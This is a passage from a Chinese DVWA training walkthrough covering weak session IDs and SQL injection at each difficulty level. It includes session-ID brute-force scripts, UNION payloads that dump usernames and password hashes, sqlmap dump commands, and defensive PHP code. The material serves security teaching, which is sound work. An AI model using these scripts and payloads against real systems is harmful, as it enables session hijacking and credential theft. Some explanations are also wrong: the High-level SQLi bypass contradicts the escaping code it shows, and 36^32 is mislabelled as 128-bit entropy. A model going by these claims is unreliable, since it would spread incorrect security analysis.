  2. 访问DVWA的Weak Session IDs页面
  3. 记录你的Session ID(例如:15)
  4. 清除Cookie,再次访问
  5. 记录新的Session ID(例如:16)
  6. 重复几次

发现:Session ID连续递增!

步骤2:枚举其他用户的Session

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
'security': 'low',
'PHPSESSID': '你的PHPSESSID'
}

# 假设当前Session ID是100
# 枚举前后的Session ID
for session_id in range(90, 110):
cookies = cookies_base.copy()
cookies['dvwaSession'] = str(session_id)

response = requests.get(url, cookies=cookies)

print(f"[*] Testing dvwaSession={session_id}")
# 检查是否能访问
if response.status_code == 200:
print(f"[+] Session {session_id} is valid!")

步骤3:会话劫持

场景:

  1. 攻击者获知受害者的Session ID(通过XSS、网络嗅探等)
  2. 或者通过枚举猜测Session ID
  3. 使用该Session ID访问应用
  4. 冒充受害者身份

使用Burp Suite:

  1. 拦截请求
  2. 修改Cookie中的dvwaSession值
  3. 尝试不同的数字
  4. 找到有效的Session

步骤4:会话固定攻击

攻击流程:

  1. 攻击者清除Cookie,访问DVWA
  2. 记录自己的dvwaSession(例如:50)
  3. 诱导受害者使用这个Session(发送链接)
  4. 受害者使用dvwaSession=50登录
  5. 攻击者也使用dvwaSession=50访问
  6. 攻击者获得受害者的权限

Medium 难度

攻击目标

使用时间戳作为Session ID,仍然可预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

// ★★★ 使用时间戳作为Session ID ★★★
// time() - 返回当前Unix时间戳(从1970-01-01 00:00:00 UTC到现在的秒数)
//
// 问题:
// 1. 时间戳是可预测的
// 2. 攻击者知道大致的时间范围
// 3. 只需要在时间窗口内枚举
$session_id = time();

// 设置Cookie
setcookie( "dvwaSession", $session_id, 0, "/" );
}

$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

新增防护

使用时间戳替代简单计数器

仍存在的漏洞

核心问题:

时间戳仍然是可预测的!

1
2
3
4
2024-11-20 22:00:001700503200
2024-11-20 22:00:011700503201
2024-11-20 22:00:021700503202
...

攻击者可以:

  1. 知道大致的时间范围
  2. 在这个范围内枚举(±几分钟)
  3. 找到有效的Session ID

绕过方法

方法1:时间窗口枚举

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
'security': 'medium',
'PHPSESSID': '你的PHPSESSID'
}

# 获取当前时间戳
current_time = int(time.time())

# 枚举前后5分钟的时间戳(300秒)
for offset in range(-300, 300):
session_id = current_time + offset

cookies = cookies_base.copy()
cookies['dvwaSession'] = str(session_id)

response = requests.get(url, cookies=cookies)

if "valid session" in response.text.lower():
print(f"[+] Found valid session: {session_id}")
print(f" Timestamp: {time.ctime(session_id)}")

方法2:已知用户登录时间

如果知道用户的登录时间(如:2024-11-20 15:30:00),可以:

1
2
3
4
5
6
7
8
9
10
11
12
import datetime
import time

# 已知登录时间
login_time = datetime.datetime(2024, 11, 20, 15, 30, 0)
timestamp = int(login_time.timestamp())

# 在前后1分钟内枚举
for offset in range(-60, 60):
session_id = timestamp + offset
# 测试这个Session ID
print(f"Trying: {session_id}")

High 难度

攻击目标

使用MD5哈希,但基于时间戳,仍可预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

// ★★★ 使用MD5哈希时间戳 ★★★
// time() - 当前时间戳
// md5() - MD5哈希函数
//
// 例如:
// time() = 1700503200
// md5(1700503200) = "8e296a067a37563370ded05f5a3bf3ec"
//
// 问题:
// 1. 虽然看起来随机,但基础数据(时间戳)是可预测的
// 2. 攻击者可以预计算时间范围内的所有MD5值
// 3. 然后枚举测试
$session_id = md5( time() );

setcookie( "dvwaSession", $session_id, 0, "/" );
}

$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

新增防护

使用MD5哈希时间戳

仍存在的漏洞

核心问题:

虽然使用了MD5,但输入源(时间戳)是可预测的!

攻击原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 预计算MD5
import hashlib
import time

current = int(time.time())

# 生成前后5分钟的所有MD5值
md5_dict = {}
for offset in range(-300, 300):
timestamp = current + offset
md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest()
md5_dict[md5_hash] = timestamp

# 现在有了MD5 → 时间戳的映射
# 可以用这个字典枚举Session ID

绕过方法

方法:预计算MD5字典

完整攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import hashlib
import time

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
'security': 'high',
'PHPSESSID': '你的PHPSESSID'
}

# 获取当前时间
current_time = int(time.time())

print("[*] Generating MD5 dictionary...")

# 生成前后10分钟的MD5字典(600秒)
md5_list = []
for offset in range(-600, 600):
timestamp = current_time + offset
md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest()
md5_list.append((md5_hash, timestamp))

print(f"[*] Generated {len(md5_list)} MD5 hashes")
print("[*] Testing Session IDs...")

# 枚举测试
for md5_hash, timestamp in md5_list:
cookies = cookies_base.copy()
cookies['dvwaSession'] = md5_hash

response = requests.get(url, cookies=cookies)

if "valid" in response.text.lower():
print(f"[+] Found valid session!")
print(f" Session ID: {md5_hash}")
print(f" Timestamp: {timestamp} ({time.ctime(timestamp)})")
break

# 避免请求太快
time.sleep(0.1)

优化:多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import threading
import queue

def worker(q, results):
while True:
try:
md5_hash, timestamp = q.get(timeout=1)

cookies = cookies_base.copy()
cookies['dvwaSession'] = md5_hash

response = requests.get(url, cookies=cookies)

if "valid" in response.text.lower():
results.append((md5_hash, timestamp))

q.task_done()
except queue.Empty:
break

# 创建队列和线程
q = queue.Queue()
results = []

# 添加任务到队列
for md5_hash, timestamp in md5_list:
q.put((md5_hash, timestamp))

# 启动10个线程
threads = []
for i in range(10):
t = threading.Thread(target=worker, args=(q, results))
t.start()
threads.append(t)

# 等待完成
q.join()

for t in threads:
t.join()

print(f"[+] Found {len(results)} valid sessions")

Impossible 难度

攻击目标

使用PHP内置的安全Session机制,无法预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

// ★★★ 使用PHP内置的Session机制 ★★★
// session_start() - 启动或恢复会话
//
// PHP会:
// 1. 生成强随机的Session ID(使用CSPRNG)
// 2. Session ID长度:32字符(128位熵)
// 3. 使用字母数字:0-9, a-z(36个字符)
// 4. 总可能性:36^32 ≈ 6.3 × 10^49
//
// 例如:
// PHPSESSID = "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"
//
// 特点:
// - 密码学安全的随机数生成器
// - 高熵值(128位)
// - 完全不可预测
// - 暴力破解在计算上不可行
session_start();

// ★★★ 获取Session ID ★★★
// session_id() - 返回当前Session ID
// 这个ID是由PHP自动生成和管理的
$cookie_value = session_id();

?>

完善的防护机制

PHP Session ID特性:

  1. 强随机性

    • 使用CSPRNG(密码学安全伪随机数生成器)
    • 不可预测
  2. 高熵值

    • 32字符长度
    • 128位熵
    • 36^32种可能性
  3. 自动管理

    • PHP自动处理Session
    • 安全的默认配置
  4. 安全选项

    1
    2
    3
    4
    5
    // 可以进一步加强
    ini_set('session.cookie_httponly', 1); // HttpOnly
    ini_set('session.cookie_secure', 1); // Secure
    ini_set('session.use_only_cookies', 1); // 只使用Cookie
    ini_set('session.cookie_samesite', 'Strict'); // SameSite

为什么无法攻破?

暴力破解计算:

1
2
3
4
5
6
7
8
9
10
11
12
Session ID长度:32字符
字符集:0-9, a-z(36个字符)
可能性:36^326.3 × 10^49

假设:
- 每秒测试100万个Session ID
- 需要时间:6.3 × 10^49 / 10^66.3 × 10^43
- 转换为年:≈ 2 × 10^36

宇宙年龄:约 1.4 × 10^10

暴力破解在计算上完全不可行!

所有攻击都失败:

1
2
3
4
5
6
7
8
9
10
11
尝试1:枚举连续数字
结果:Session ID不是数字,是随机字符串

尝试2:基于时间预测
结果:Session ID与时间无关

尝试3:MD5字典
结果:Session ID不是基于简单哈希

尝试4:暴力破解
结果:计算上不可行(需要宇宙年龄的10^26倍)

防御建议

代码层面

1. 使用PHP内置Session(推荐)

1
2
3
4
5
// 启动Session
session_start();

// PHP会自动生成安全的Session ID
$session_id = session_id();

2. 配置Session安全选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// php.ini 或运行时配置

// 使用HttpOnly(防止JavaScript读取)
ini_set('session.cookie_httponly', 1);

// 使用Secure(只通过HTTPS传输)
ini_set('session.cookie_secure', 1);

// 只使用Cookie(不在URL中传递)
ini_set('session.use_only_cookies', 1);

// 禁止透明Session ID
ini_set('session.use_trans_sid', 0);

// SameSite属性(防CSRF)
ini_set('session.cookie_samesite', 'Strict');

// Session名称(不使用默认PHPSESSID)
session_name('MyApp_Session');

// 自定义Session保存路径
session_save_path('/path/to/secure/directory');

3. 定期更新Session ID

1
2
3
4
5
6
7
8
9
10
// 登录后更新Session ID(防Session Fixation)
session_start();
if ($user_authenticated) {
session_regenerate_id(true); // true表示删除旧Session
}

// 敏感操作前更新
if ($critical_operation) {
session_regenerate_id(true);
}

4. 添加额外的安全检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
session_start();

// 绑定到IP地址(可选,可能影响移动用户)
if (!isset($_SESSION['ip'])) {
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
} elseif ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
// IP changed, destroy session
session_destroy();
die('Session hijacking detected');
}

// 绑定到User-Agent
if (!isset($_SESSION['user_agent'])) {
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
session_destroy();
die('Session hijacking detected');
}

// Session超时
$timeout = 30 * 60; // 30分钟
if (isset($_SESSION['last_activity']) &&
(time() - $_SESSION['last_activity']) > $timeout) {
session_destroy();
die('Session expired');
}
$_SESSION['last_activity'] = time();

5. 自定义Session ID生成器(高级)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 如果需要自定义Session ID
function generate_secure_session_id() {
// 使用random_bytes()生成强随机数
$random_bytes = random_bytes(32);

// 转换为十六进制字符串
$session_id = bin2hex($random_bytes);

return $session_id;
}

// 设置自定义ID
session_id(generate_secure_session_id());
session_start();

框架层面

Laravel示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Laravel自动管理Session,非常安全

// 配置文件:config/session.php
return [
'driver' => 'database', // 或 'redis', 'memcached'
'lifetime' => 120,
'expire_on_close' => false,
'encrypt' => true,
'http_only' => true,
'secure' => true,
'same_site' => 'strict',
];

// 使用
session(['key' => 'value']);
$value = session('key');

// 更新Session ID
session()->regenerate();

监控和日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 记录Session活动
function log_session_activity() {
$log = [
'session_id' => session_id(),
'user_id' => $_SESSION['user_id'] ?? 'anonymous',
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'timestamp' => time(),
];

file_put_contents(
'session_log.txt',
json_encode($log) . "\n",
FILE_APPEND
);
}

总结对比

特性 Low Medium High Impossible
生成方式 递增计数器 时间戳 MD5(时间戳) PHP Session
可预测性 完全可预测 高度可预测 可预测 不可预测
熵值 极低 高(128位)
长度 1-4位 10位 32字符 32字符
字符集 数字 数字 十六进制 字母数字
暴力破解 秒级 分钟级 小时级 不可行
安全标志 ✅(可配置)
攻击难度 极易 简单 中等 极难

常用攻击技巧

Session劫持

1
2
3
4
5
# 枚举Session ID
for session_id in range(0, 1000):
cookies = {'dvwaSession': str(session_id)}
response = requests.get(url, cookies=cookies)
# 检查响应

Session固定

1
2
3
4
1. 攻击者获取Session ID:ABC123
2. 发送链接给受害者:http://site.com/?session_id=ABC123
3. 受害者登录(使用ABC123)
4. 攻击者使用ABC123访问(现在是已登录状态)

时间窗口攻击

1
2
3
4
5
6
# 针对基于时间的Session
import time
current = int(time.time())
for offset in range(-300, 300):
test_session = current + offset
# 或 md5(test_session)

实战建议

学习路径:

  1. Low难度 - 理解递增Session的危险
  2. Medium难度 - 学习时间窗口枚举
  3. High难度 - 掌握预计算攻击
  4. Impossible难度 - 理解强随机Session

攻击技巧:

  • 观察Session ID模式
  • 使用Python脚本自动化
  • 多线程加速枚举
  • 预计算常见哈希

防御重点:

  • 使用PHP内置Session
  • 配置安全选项(HttpOnly, Secure)
  • 定期更新Session ID
  • 绑定IP/User-Agent(可选)
  • 设置超时

道德准则:

  • 只在授权环境测试
  • 不窃取他人Session
  • 学习是为了构建安全系统

目录


漏洞简介

什么是SQL注入(SQL Injection)?

SQL注入是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意SQL代码,操纵后台数据库执行非预期的查询。

攻击原理:
应用程序将用户输入直接拼接到SQL查询语句中,没有进行适当的过滤和验证。

危害:

  • 绕过登录验证
  • 读取敏感数据(用户信息、密码)
  • 修改数据库内容
  • 删除数据
  • 执行系统命令(高级)
  • 完全控制数据库服务器

OWASP Top 10:
SQL注入长期位居OWASP十大Web应用安全风险前列。


Low 难度

攻击目标

完全未过滤的用户ID查询,存在严重SQL注入漏洞。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

// 检查是否提交了表单
// isset() - 检查变量是否存在且非NULL
// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组
if( isset( $_REQUEST[ 'Submit' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何过滤 ★★★
// 从请求中获取id参数
// 例如:?id=1&Submit=Submit
$id = $_REQUEST[ 'id' ];

// ★★★ 核心漏洞:直接拼接SQL语句 ★★★
// 将用户输入直接插入SQL查询
// 没有任何验证、过滤或转义!
// $id的值完全由用户控制
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已废弃的函数)
// or die() - 查询失败时终止并显示错误
// mysql_error() - 返回MySQL错误信息(会泄露数据库结构!)
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 获取查询结果
// mysql_fetch_assoc() - 将结果行作为关联数组返回
// 例如:['first_name' => 'admin', 'last_name' => 'admin']
$row = mysql_fetch_assoc( $result );

// 检查是否有结果
if( $row ) {
// 输出用户信息
// {$row[ 'first_name' ]} - 在双引号字符串中插入变量
// <br /> - HTML换行标签
$html .= '<pre>ID: ' . $id . '<br />First name: ' . $row[ 'first_name' ] . '<br />Surname: ' . $row[ 'last_name' ] . '</pre>';
}
else {
// 未找到用户
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

// 关闭数据库连接
mysql_close();
}

?>

漏洞分析

核心问题:

  1. 直接拼接SQL - 用户输入直接插入查询
  2. 无输入验证 - 不检查ID是否为数字
  3. 无特殊字符过滤 - 允许单引号、注释符等
  4. 错误信息泄露 - 显示MySQL错误(暴露数据库结构)
  5. 使用废弃函数 - mysql_query()已不再推荐

攻击向量:

1
2
3
4
5
6
7
-- 正常查询
SELECT first_name, last_name FROM users WHERE user_id = '1';

-- 注入攻击
-- 输入:1' OR '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
-- 结果:返回所有用户(因为 '1'='1' 永远为真)

攻击步骤

步骤1:判断是否存在SQL注入

测试1:输入单引号

1
2
3
4
输入:1'
完整SQL:SELECT ... WHERE user_id = '1'';
结果:SQL语法错误
错误信息:You have an error in your SQL syntax...

测试2:注释符测试

1
2
3
4
5
输入:1' -- 
(注意1'--后面需要有一个空格)
完整SQLSELECT ... WHERE user_id = '1' -- ';
结果:正常显示ID=1的用户
说明:-- 注释掉了后面的单引号

测试3:逻辑测试

1
2
3
输入:1' OR '1'='1
完整SQL:SELECT ... WHERE user_id = '1' OR '1'='1';
结果:显示所有用户

步骤2:判断列数(UNION注入准备)

使用ORDER BY判断列数:

1
2
3
4
5
6
7
8
9
-- 输入:1' ORDER BY 1 --
-- 结果:正常(说明至少有1列)

-- 输入:1' ORDER BY 2 --
-- 结果:正常(说明至少有2列)

-- 输入:1' ORDER BY 3 --
-- 结果:错误(说明只有2列)
-- 结论:表有2列

步骤3:使用UNION注入获取数据

基本UNION注入:

1
2
3
4
5
6
-- 输入:1' UNION SELECT NULL, NULL --
-- 测试UNION是否可用

-- 输入:1' UNION SELECT 'test1', 'test2' --
-- 结果:显示 First name: test1, Surname: test2
-- 说明:可以注入任意数据

步骤4:获取数据库信息

获取数据库版本:

1
2
-- 输入:1' UNION SELECT @@version, NULL --
-- 结果:显示MySQL版本号

获取当前数据库名:

1
2
-- 输入:1' UNION SELECT database(), NULL --
-- 结果:显示当前数据库名(dvwa)

获取当前用户:

1
2
-- 输入:1' UNION SELECT user(), NULL --
-- 结果:显示当前数据库用户

步骤5:枚举数据库结构

获取所有数据库名:

1
2
-- 输入:1' UNION SELECT schema_name, NULL FROM information_schema.schemata --
-- 结果:列出所有数据库

获取所有表名:

1
2
3
-- 输入:1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' --
-- 结果:列出dvwa数据库中的所有表
-- 例如:users, guestbook等

获取列名:

1
2
3
-- 输入:1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
-- 结果:列出users表的所有列名
-- 例如:user_id, first_name, last_name, user, password等

步骤6:获取敏感数据

获取用户名和密码:

1
2
3
4
5
-- 输入:1' UNION SELECT user, password FROM users --
-- 结果:显示所有用户名和密码哈希
-- 例如:
-- First name: admin
-- Surname: 5f4dcc3b5aa765d61d8327deb882cf99 (password的MD5)

一次性获取所有用户信息:

1
2
-- 输入:1' UNION SELECT CONCAT(user,':',password), NULL FROM users --
-- 结果:admin:5f4dcc3b5aa765d61d8327deb882cf99

GROUP_CONCAT获取所有数据:

1
2
3
-- 输入:1' UNION SELECT GROUP_CONCAT(user,':',password SEPARATOR '<br>'), NULL FROM users --
-- 结果:一次性显示所有用户和密码
-- admin:5f4dcc3b5aa765d61d8327deb882cf99<br>gordonb:e99a18c428cb38d5f260853678922e03...

步骤7:使用SQLMap自动化

基本用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 安装sqlmap(Kali Linux自带)
apt-get install sqlmap

# 基本注入测试
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
--batch

# 获取所有数据库
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
--dbs

# 获取当前数据库的表
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
-D dvwa --tables

# 获取users表的数据
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
-D dvwa -T users --dump

参数说明:

  • -u - 目标URL
  • --cookie - 设置Cookie
  • --batch - 使用默认选项(不询问)
  • --dbs - 枚举所有数据库
  • -D - 指定数据库
  • -T - 指定表
  • --dump - 导出数据

步骤8:使用Burp Suite

步骤:

  1. 拦截请求
  2. 发送到Repeater
  3. 修改id参数为注入payload
  4. 观察响应

示例payload:

1
id=1' UNION SELECT user, password FROM users --

Medium 难度

攻击目标

添加了mysqli和下拉菜单,但仍可注入。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// ★★★ 改进1:使用POST而不是GET ★★★
// $_POST - 从POST请求体获取数据
// 相比GET更安全,不会出现在URL中
$id = $_POST[ 'id' ];

// ★★★ 改进2:使用mysqli_real_escape_string() ★★★
// mysqli_real_escape_string() - 转义SQL语句中的特殊字符
// 转义字符:\x00, \n, \r, \, ', ", \x1a
// 作用:防止通过单引号闭合SQL语句
// $GLOBALS["___mysqli_ston"] - mysqli数据库连接对象
// 原理:'转义为\',使其无法闭合字符串
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 仍然拼接SQL,虽然转义了 ★★★
// 注意:查询语句结构和Low难度相同
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

// 使用mysqli_query执行查询
// mysqli_query() - mysqli扩展的查询函数
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 获取结果
// mysqli_fetch_assoc() - 将结果行作为关联数组返回
$row = mysqli_fetch_assoc( $result );

if( $row ) {
$html .= '<pre>ID: ' . $id . '<br />First name: ' . $row[ 'first_name' ] . '<br />Surname: ' . $row[ 'last_name' ] . '</pre>';
}
else {
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

  1. POST请求 - 不在URL中暴露参数
  2. mysqli_real_escape_string() - 转义特殊字符
  3. 下拉菜单 - 前端限制输入(可绕过)

仍存在的漏洞

关键漏洞:

1
2
3
4
// 注意这里没有引号!
$query = "SELECT ... WHERE user_id = $id;";
// ^
// 没有单引号包裹

虽然使用了mysqli_real_escape_string(),但SQL中没有用引号包裹$id,所以:

  • 单引号转义无效(因为根本不需要闭合引号)
  • 数字型注入仍然有效

绕过方法

方法1:数字型注入(无需引号)

由于SQL中user_id = $id没有引号,可以直接注入:

1
2
3
4
5
6
7
8
9
10
-- 输入:1 OR 1=1
-- 完整SQL:SELECT ... WHERE user_id = 1 OR 1=1;
-- 结果:返回所有用户

-- 输入:1 UNION SELECT user, password FROM users
-- 完整SQL:SELECT ... WHERE user_id = 1 UNION SELECT user, password FROM users;
-- 结果:显示用户名和密码

-- 输入:1 AND 1=2 UNION SELECT database(), user()
-- 结果:显示数据库信息

注意:

  • 不需要单引号
  • 不需要注释符
  • mysqli_real_escape_string()完全无效

方法2:使用Burp Suite绕过前端限制

Medium难度使用下拉菜单限制输入,但这只是前端限制:

步骤:

  1. 打开Burp Suite,开启拦截
  2. 选择下拉菜单中的任意值,提交
  3. 在Burp中拦截请求
  4. 修改POST参数:
1
2
3
4
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
...

id=1 UNION SELECT user, password FROM users&Submit=Submit
  1. Forward请求
  2. 查看响应,获取数据

方法3:直接修改HTML

浏览器控制台修改:

  1. 按F12打开开发者工具
  2. 在Console中执行:
1
2
3
4
5
6
7
// 添加自定义选项
var select = document.getElementsByName('id')[0];
var option = document.createElement('option');
option.value = '1 UNION SELECT user, password FROM users';
option.text = 'Inject';
select.add(option);
select.value = option.value;
  1. 提交表单

High 难度

攻击目标

使用了Session和页面跳转,增加了攻击复杂度。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_SESSION [ 'id' ] ) ) {

// ★★★ 改进1:从SESSION获取ID ★★★
// $_SESSION - 服务器端存储的会话变量
// 数据存储在服务器,客户端只有session ID
// 作用:避免直接从用户输入获取数据
$id = $_SESSION[ 'id' ];

// ★★★ 仍然存在漏洞:直接拼接SQL ★★★
// 虽然从SESSION获取,但SESSION的值来自另一个页面的用户输入!
// 注意:这里有单引号包裹
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

// 执行查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>Something went wrong.</pre>' );

// 获取结果
$row = mysqli_fetch_assoc( $result );

if( $row ) {
$html .= '<pre>ID: ' . $id . '<br />First name: ' . $row[ 'first_name' ] . '<br />Surname: ' . $row[ 'last_name' ] . '</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

关键点:

High难度分为两个页面:

  1. session-input.php - 接收用户输入,存入SESSION
  2. index.php - 从SESSION读取,执行查询

session-input.php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

// ★★★ 这里接收用户输入 ★★★
if( isset( $_POST[ 'Submit' ] ) ) {

// 获取用户输入的ID
$id = $_POST[ 'id' ];

// ★★★ 使用stripslashes()去除反斜杠 ★★★
// stripslashes() - 删除反斜杠
// 例如:\' 变成 '
$id = stripslashes( $id );

// ★★★ 使用mysqli_real_escape_string转义 ★★★
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 将处理后的ID存入SESSION ★★★
$_SESSION[ 'id' ] = $id;

// 重定向回主页面
// header() - 发送原始HTTP头
// Location - 重定向到指定URL
header ("Location: " . $_SERVER['HTTP_REFERER']);
}

?>

新增防护

  1. 使用SESSION - 数据存储在服务器端
  2. stripslashes() - 去除反斜杠
  3. mysqli_real_escape_string() - 转义特殊字符
  4. 页面分离 - 输入和查询在不同页面

仍存在的漏洞

关键问题:

虽然使用了SESSION,但SESSION的值仍来自用户输入!

1
用户输入 → 转义 → 存入SESSION → 从SESSION读取 → 拼接SQL

转义后的数据存入SESSION,但从SESSION读取后直接拼接,仍有注入风险。

绕过方法

方法1:直接在输入页面注入

攻击流程:

  1. 访问 session-input.php
  2. 在输入框中输入payload
  3. 虽然经过转义,但存入SESSION
  4. 返回主页面,从SESSION读取并执行

Payload:

1
2
3
4
5
6
-- 输入:1' UNION SELECT user, password FROM users --
-- 经过转义:1\' UNION SELECT user, password FROM users --
-- 存入SESSION:1\' UNION SELECT user, password FROM users --
-- 拼接到SQL:... WHERE user_id = '1\' UNION SELECT user, password FROM users -- ' ...

-- 结果:转义的反斜杠会被MySQL处理,仍然可以注入

方法2:使用Burp Suite

步骤:

  1. 开启Burp代理
  2. 访问session-input.php
  3. 提交注入payload
  4. 在Burp中观察两次请求:
    • POST到session-input.php(存入SESSION)
    • GET主页面(从SESSION读取执行)
  5. 查看第二次请求的响应

Impossible 难度

攻击目标

使用PDO预编译语句,真正安全的实现。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// ★★★ 改进1:验证输入是否为数字 ★★★
// is_numeric() - 检查变量是否为数字或数字字符串
// 作用:只接受数字,拒绝其他字符
if( is_numeric( $_GET[ 'id' ] ) ) {

// 获取ID
$id = $_GET[ 'id' ];

// ★★★ 核心防护:PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备SQL语句用于执行
// :id - 命名参数占位符(参数化查询)
// LIMIT 1 - 限制只返回一行
//
// 关键:SQL结构和数据完全分离!
// 数据库先编译SQL结构,再绑定数据
// 无论数据内容是什么,都只会被当作数据,不会被当作SQL代码执行
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

// ★★★ 绑定参数 ★★★
// bindParam() - 将参数绑定到预编译语句
// 参数1:占位符名称
// 参数2:要绑定的变量
// 参数3:数据类型(PDO::PARAM_INT表示整数)
//
// 作用:将$id的值绑定到:id占位符
// 数据类型明确指定为整数,进一步增强安全性
$data->bindParam( ':id', $id, PDO::PARAM_INT );

// ★★★ 执行预编译语句 ★★★
// execute() - 执行准备好的语句
// 此时才真正执行查询,但数据已经被安全处理
$data->execute();

// ★★★ 获取结果 ★★★
// fetch() - 获取结果集的下一行
// 返回关联数组
$row = $data->fetch();

// 检查是否有结果
// rowCount() - 返回受影响的行数
if( $data->rowCount() == 1 ) {
// 获取值
// {$row[ 'first_name' ]} - 输出first_name字段的值
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// 输出结果
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
else {
// 未找到用户
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
else {
// ★★★ 输入不是数字,拒绝 ★★★
// 明确的错误信息
$html .= '<pre>User ID must be numeric</pre>';
}
}

?>

完善的防护机制

  1. 输入验证 - is_numeric()只接受数字
  2. PDO预编译 - SQL结构和数据完全分离
